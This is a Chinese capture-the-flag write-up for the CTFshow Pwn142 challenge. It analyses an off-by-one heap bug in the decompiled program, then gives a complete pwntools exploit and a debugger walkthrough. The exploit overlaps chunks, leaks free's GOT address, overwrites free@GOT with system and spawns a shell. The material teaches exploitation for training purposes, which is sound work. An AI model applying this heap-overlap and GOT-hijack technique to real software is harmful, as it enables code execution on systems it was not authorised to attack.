CTFshow-Pwn142-Off-by-One(堆块重叠)

64 位程序,未开启 PIE

主函数提供增删改打印功能

先看 del

cpp 复制代码
free(*(void **)(*((_QWORD *)&heaparray + v1) + 8LL)); // 释放内容块 (C)
free(*((void **)&heaparray + v1));                   // 释放管理块 (M)
*((_QWORD *)&heaparray + v1) = 0LL;                   // 置零管理块指针

free 了两个堆块,看似只置零了一个堆块的指针

实际入口被封死:程序所有的 editshowdelete 函数,第一步都是检查 if (heaparray[v1]),因此不存在 uaf

接着我们看 create

依旧是管理块 + 数据块的堆题结构

cpp 复制代码
*((_QWORD *)&heaparray + i) = malloc(0x10uLL);  //管理块分配

*(_QWORD *)(v0 + 8) = malloc(size);  //数据块分配
cpp 复制代码
// 将用户输入的 size 存入管理块的开头 (Offset +0)
**((_QWORD **)&heaparray + i) = size;

// 将用户输入的内容读入管理块偏移 +8 处存的指针所指向的地址
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);

接着我们看 edit

cpp 复制代码
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);

heaparray[v1] 指向的管理块中,偏移 +8 的位置取出数据块指针 content_ptr

heaparray[v1] 指向的管理块中,偏移 +0 的位置取出之前存的 size

调用 read_inputcontent_ptr 里写数据,但长度传的是 size + 1LL ,存在 Off-by-One

然后是 show

cpp 复制代码
printf(
  "Size : %ld\nContent : %s\n",
  **((_QWORD **)&heaparray + v1),                   // 取出 size 字段
  *(const char **)(*((_QWORD *)&heaparray + v1) + 8LL) // 取出 content_ptr 并作为字符串打印
);

总结:

程序每次 add 都会申请两个块:一个固定 0x10M(管理块) 和一个自定义大小的 D(数据块)

申请 0x18 是为了让你的数据末尾刚好顶在下一个块的 Size 字段门前 。这样 edit 溢出的那 1 个字节 ,才能绕过任何填充(Padding),直接改写 M10x21。如果你申请的是 0x10,中间会留下 8 字节的空隙,溢出 1 字节只会改写到无意义的填充位。

申请 D1(数据块)为 0x10,它的物理大小也是 0x20 。此时 M1 + D1 的物理总大小正好是0x20 + 0x20 = 0x40

我们在第一步溢出时,把 M1 的 Size 从 0x21 改成了 0x41 。当你 free(1) 时,系统会刚好把这连在一起的两个块当成一个整体回收掉。

add(0x18) :利用 对齐边界 。目的是让 D0 的结尾 == M1 的开头。

add(0x10) :利用 大小凑整 。目的是让 M1 + D1 的总和 == 我们伪造出来的那个 0x40

exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64')
#io = process('./pwn')
io = gdb.debug('./pwn',
 '''
b main
c
 ''')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, content):
    io.sendlineafter(b"choice :", b"1")
    io.sendlineafter(b"Size of Heap : ", str(size).encode())
    io.sendafter(b"Content of heap:", content)

def edit(index, content):
    io.sendlineafter(b"choice :", b"2")
    io.sendlineafter(b"Index :", str(index).encode())
    io.sendafter(b"Content of heap : ", content)

def show(index):
    io.sendlineafter(b"choice :", b"3")
    io.sendlineafter(b"Index :", str(index).encode())

def delete(index):
    io.sendlineafter(b"choice :", b"4")
    io.sendlineafter(b"Index :", str(index).encode())

add(0x18, b'aaaa') # Index 0
add(0x10, b'bbbb') # Index 1
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")

delete(1)
free_got = elf.got['free']
payload =  p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)

show(1)
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

edit(1, p64(system_addr))
delete(0)

io.interactive()

调试:

执行完第一次 add

管理快(M0):0x3d339290

它的数据区起始于 0x3d3392a0

里面存放着两个 8 字节的数据:D0 的大小 (0x18)D0 的指针 (0x3d3392c0)

数据块(D0):0x3d3392b0

它的数据区起始于 0x3d3392c0

里面存放着我们输入的内容(aaaa

再次执行 add

可以看到我们等会 Off-by-one 的目标,也就是 管理快(M1) 的 Size

继续执行

python 复制代码
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")

0x3d3392c0:填入了 /bin/sh\x00

0x3d3392c8:填入了 8 个 A,0x3d3392d0:填入了 8 个 A

0x3d3392d8溢出的那个 \x41 刚好覆盖了原来的 0x21

接下来 delete(1),也就是 free(D1) 和 free(M1)

D1 的地址是 0x3d3392f0(数据区在 0x3d339300),它的 Size0x21(我们没改过它)

结果:它进入了 0x20 大小的 tcachebin

M1 的地址是 0x3d3392d0(数据区在 0x3d3392e0),它的 Size 被我们改成了 0x41

因此它被放进了 0x40 大小的 tcachebin

接下来我们需要把这个 0x40 的块申请回来

python 复制代码
payload = p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)

这个堆块起始于0x3d3392d0,数据从 **0x3d3392e0**开始写入

add 传入的内容,前 8 字节对应内容是 size(这里可以随便填数值)

偏移+8对应内容为数据块的指针,也就是我们要覆盖的目标,这里覆盖为 free_got

再往后的 24 字节分别对应的是:M1 尾部、D1->prev_size、D1->size

D1由于堆块重叠已经被吞了,所以直接都填充垃圾数据即可 b'a'*24

但是最后的 8 字节就很玄学了,这里还是填 free_got

再往后的 8 字节就是下一个堆块(通常是 Top Chunk)的起始头部 prev_size

这里如果不想管那么多,直接全覆盖为:free_got

python 复制代码
payload = p64(free_got) * 4 

也可以打通

至此,我们已经成功将 Index 1 的指针改成了 free_got

接下来调用 show(1)

程序原本的逻辑是"打印第 1 个块的内容"。因为改了指针,它现在会去 free_got 地址处读数据。

那么我们接收 free 函数的真实地址

python 复制代码
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))

leak libc 后,计算基地址,进而计算 system 函数edit(1, p64(system_addr))的地址

python 复制代码
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

接下来我们劫持 GOT 表

python 复制代码
edit(1, p64(system_addr))

因为 Index 1 的指针指向 free_got,所以我们写入的 system_addr 会直接覆盖掉 GOT 表中 free 的地址

执行 edit 前,查看内存地址的值:

python 复制代码
x/gx 0x602018

显示的是 free 的真实地址

执行后,成功劫持为 system 函数的地址

最后执行:

python 复制代码
delete(0)

即:free(heaparray[0]->content_ptr)

由于前面我们已经将 "/bin/sh\x00" 写到了 0x3d3392c0 也就是 D0(Index 0 的数据块)

所以这里就是 free("/bin/sh")

但因为free_got 也被我们改成了system,所以实际执行的是:system("/bin/sh"),直接 getshell

相关推荐
Eyfcom7 小时前
快递管理系统:从“功能实现”到“人性化体验”与“客户洞察”的技术跃迁
c语言·系统架构·快递管理系统
foundbug9998 小时前
基于混合整数规划的电池容量优化 - MATLAB实现
数据结构·算法·matlab
chutao8 小时前
EasyPDF 转图片(EasyPdf2Image)—— 本地安全实用的PDF与图片双向互转工具
安全·职场和发展·pdf·创业创新·学习方法
STAT abil8 小时前
MySQL 的mysql_secure_installation安全脚本执行过程介绍
数据库·mysql·安全
自我意识的多元宇宙8 小时前
树、森林——树与二叉树的应用(哈夫曼树的构造)
数据结构
SailingCoder9 小时前
Electron 安全IPC核心:contextBridge 安全机制
javascript·安全·electron
Chengbei119 小时前
红队专属Bing Dork自动化工具,敏感信息侦察效率拉满、自动生成可视化信息泄露审计报告
java·人工智能·安全·web安全·网络安全·自动化·系统安全
代码中介商9 小时前
C语言指针深度解析:从数组指针到函数指针
c语言·开发语言
水蓝烟雨9 小时前
2071. 你可以安排的最多任务数目
数据结构·链表
下地种菜小叶10 小时前
接口签名与防重放怎么设计?一次讲清时间戳、nonce、签名串与安全校验链路
安全